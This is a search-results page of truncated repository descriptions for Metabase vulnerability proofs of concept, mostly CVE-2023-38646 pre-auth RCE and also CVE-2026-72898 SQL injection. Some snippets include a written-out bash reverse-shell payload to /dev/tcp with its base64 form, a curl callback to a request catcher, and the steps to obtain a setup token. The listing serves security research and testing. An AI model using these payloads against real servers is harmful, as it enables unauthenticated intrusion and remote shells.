494 matches found
CVE-2023-38646-Poc
CVE-2023-38646-Poc 用法 python check.py ip port 易受攻击的版本 Metabase Enterprise 1.46 1.46.6.1 Metabase Enterprise 1.45 1.45.4.1 Metabase Enterprise 1.44 1.44.7.1 Metabase Enterprise 1.43 1.43.7.2 Metabase open source 0.46 0.46.6.1 Metabase open source 0.45 v0.45.4.1 Metabase open source 0.44 0.44.7.1...
CVE-2026-72898-safe-detection
CVE-2026-72898-safe-detection Simple script to achieve safe and non-destructive active detection of CVE-2026-72898 SQLi in Metabase It attempts to determine if a Metabase instance is vulnerable to the SQL injection vulnerability in the password reset endpoint. The script is designed to be safe an...
CVE-2023-38646
CVE-2023-38646 针对 Metabase RCE 漏洞 CVE-2023-38646 的自动化工具。更多信息（POC、Dork）请访问 https://secry.me/explore/news/metabase-rce-cve-2023-38646/ 如何使用 single.py python3 single.py --url=http://127.0.0.1:8080 --command="curl sub.requestcatcher.com/some-endpoint" 或 python3 single.py -u http://127.0.0.1:8080 -c...
CVE-2023-38646
CVE-2023-38646-exploit "该漏洞被编号为 CVE-2023–38646，允许攻击者在无需任何身份验证的情况下在服务器上执行任意命令。" 一个针对 cve-2023-38646 的快速反向 Shell 漏洞利用脚本。 这个漏洞并非我发现的，我只是编写了这个脚本。 使用方法 root@box:/CVE-2023-38646 python3 exploit.py / \ \ / / | | \ / \ | \ | \ / \ / /| || | / / | | \ \ / /| | | | | | | | | |/ /| || | / / | | \ / / | |/...
CVE-2023-38646
CVE-2023-38646 用于通过 SQL 注入利用 CVE-2023-38646 Metabase 预认证 RCE 的 Python 脚本 该脚本会 GET /api/session/properties 以获取 setup token，并评估目标的可利用性。 如果目标存在漏洞，则会打印 setup token，否则将在显示错误消息后退出。 如果使用了 -x 选项且目标存在漏洞，它将使用提供的 payload 尝试利用该漏洞。 更多信息请参阅发现该漏洞的团队撰写的出色分析文章：...
metabase-pre-auth-rce-poc
Metabase 预授权 RCE CVE-2023-38646 POC 这是一个用 Python 编写的脚本，可用于利用 Metabase 软件中 CVE-2023-38646 所描述的安全漏洞。该漏洞影响 0.46.6.1 之前的开源版本以及 1.46.6.1 之前的企业版。 使用方法 该脚本需要 目标 URL 、设置令牌 setup token 以及要执行的 命令 。设置令牌可以通过 /api/session/properties 端点获取。复制 setup-token 键的值。 该 命令 将在目标机器上执行，目的是获取一个 反向 shell 。你可以在 RevShells...
Metabase - Unauthenticated SQL Injection
Metabase contains a sql injection caused by improper sanitization of input in the '/resetpassword' database endpoint, letting remote unauthenticated attackers gain administrator access, exploit requires no special privileges. id: CVE-2026-72898 info: name: Metabase - Unauthenticated SQL Injection...
cve-2023-38646-poc
Metabase Pre Authentication RCE CVE-2023-38646 CVE-2023-38646是Metabase中的一个远程代码执行漏洞。该漏洞源于Metabase在处理未经身份验证的API端点/api/setup/validate时，对JDBC连接字符串的处理存在安全缺陷。攻击者可以通过构造特定的JDBC连接字符串，利用该端点在服务器上执行任意命令，而无需进行身份验证。...
Metabase_CVE-2021-41277
MetabaseCVE-2021-41277 Descripción Metabase es una plataforma de análisis de datos de código abierto. En las versiones afectadas se ha descubierto un problema de seguridad con el soporte de mapas GeoJSON personalizados admin-settings-maps-custom maps-add a map y una posible inclusión local de...
CVE-2023-38646
Metabase Pre-Auth RCE CVE-2023-38646 POC This is a python script which exploits the remote code execution vulnerability of Metabase's login software. It allows us to execute arbitrary commands on the server before authentication. Vulnerable versions are Metabase open source before 0.46.6.1 and...
CVE-2026-72898
CVE-2026-72898 PoC：Metabase 未认证 SQL 注入 Metabase 预认证 SQL 注入导致管理员账户接管 CVE-2026-72898 的概念验证（PoC），这是 Metabase 密码重置端点中的一个严重的未认证 SQL 注入漏洞。该 PoC 会将伪造的管理员会话记录注入 coresession 表，然后利用该记录在无需任何凭据的情况下验证完整的管理员会话。 注意： 此 PoC 仅用于授权的安全测试和研究。CVE-2026-72898 已被列入 CISA...
CVE-2026-59827
CVE-2026-59827：Metabase 在 H2 原生查询中的不安全反序列化 严重性： 严重（CVSS 9.9） CVE： CVE-2026-59827 安全公告： GHSA-w95f-x9v9-wv36 报告者： Matheus Gutierre @Gutierre0x80 发布时间： 2026年6月30日 漏洞摘要 通过利用 SELECT CASTX'...' AS OTHER 查询返回的 Java 对象的不安全反序列化，有权访问 H2 数据库上原生 SQL 查询的已认证用户可以在 Metabase 服务器上执行任意 Java 代码。 默认的 Metabase 安装包含一个 ...
POC_Metabase_CVE-2023-38646
Solo con fines educativos Inspirado en la investigación de Assetnote CVE: CVE-2023-38646 CVSS: 9.8 Enlace del proveedor: clic Versión vulnerable Metabase Enterprise 1.46 Solo probado en ParrotOS Resultado...
CVE-2023-38646
CVE-2023-38646 原始脚本来源于securezeron 我在测试过程中发现该poc生成的反向shell在经过base6编码后因为末尾的'='字符导致利用失败。对它稍作修改解决了这个问题。 原始的生成reverse shell负载的代码 base64.b64encode"bash -i &/dev/tcp/10.10.14.59/8080 0&1".encode.decode 'YmFzaCAtaSA+Ji9kZXYvdGNwLzEwLjEwLjE0LjU5LzgwODAgMD4mMQ==' 修改后的生成reverse shell负载的代码没有‘=’...
CVE-2023-38646
Metabase 预认证远程代码执行 CVE-2023-38646 我们提供了两个文件： CVE-2023-38646-POC.py 用于检查任意 Metabase 实例是否泄露 setup-token。 CVE-2023-38646-Reverse-Shell.py 用于在攻击者控制的机器上获得反向 shell。 CVE-2023-38646-POC.py CVE-2023-38646-Reverse-Shell.py 如何使用 git clone https://github.com/securezeron/CVE-2023-38646 cd CVE-2023-38646 pip...
CVE-2023-38646-PoC
CVE-2023-38646 - Metabase 预授权 RCE Metabase 开源版本 0.46.6.1 之前以及 Metabase 企业版 1.46.6.1 之前的版本允许攻击者在服务器上以服务器的权限级别执行任意命令。利用该漏洞无需认证。其他已修复的版本包括 0.45.4.1、1.45.4.1、0.44.7.1、1.44.7.1、0.43.7.2 和 1.43.7.2。 PoC 步骤 1. 访问 http://vulnerablehost.com/api/session/properties 2. 找到 "setup-token" 3. 获取一个 collaborator...
Exploit-CVE-2023-38646-Metabase
利用 CVE-2023-38646 影响 Metabase 0.46.6.1 之前版本（开源版）和 1.46.6.1 之前版本（企业版） 此漏洞利用针对 Metabase 0.46.6.1 之前版本（开源版）和 1.46.6.1 之前版本（企业版）中发现的远程代码执行（RCE）漏洞。该漏洞允许攻击者以服务器的权限级别执行任意命令，且利用时无需身份验证。 要执行此利用，你需要获取 setup-token。在网站中导航到 /api/session/properties，即可找到 setup-token。 此漏洞利用代码仅用于教育目的和增强网络安全实践。任何用于非法目的的行为均由你自己承担全部...
CVE-2023-38646
CVE-2023-38646 从kh4sh3i 复刻而来，去除了对 Burp Collector 的依赖。 CVE-2023-38646（Metabase 无预认证远程代码执行漏洞）： Metabase 开源版本 0.46.6.1 之前以及 Metabase Enterprise 1.46.6.1 之前的版本允许攻击者以服务器权限级别在服务器上执行任意命令。利用该漏洞无需认证。 使用方法 python3 CVE-2023-38646.py -u http://target.com -t 349fa13d-fd94-4d9b-b54f-b4ebf2df682f -i 10.10.15.10...
CVE-2023-38646
CVE-2023-38646-exploit “该漏洞编号为 CVE-2023-38646，允许攻击者在无需任何身份验证的情况下在服务器上执行任意命令。” 针对 cve-2023-38646 的快速反向 Shell 利用脚本。 此漏洞并非我发现的，我只是编写了这个脚本。 使用方法 root@box:/CVE-2023-38646 python3 exploit.py / \ \ / / | | \ / \ | \ | \ / \ / /| || | / / | | \ \ / /| | | | | | | | | |/ /| || | / / | | \ / / | |/ /| | |...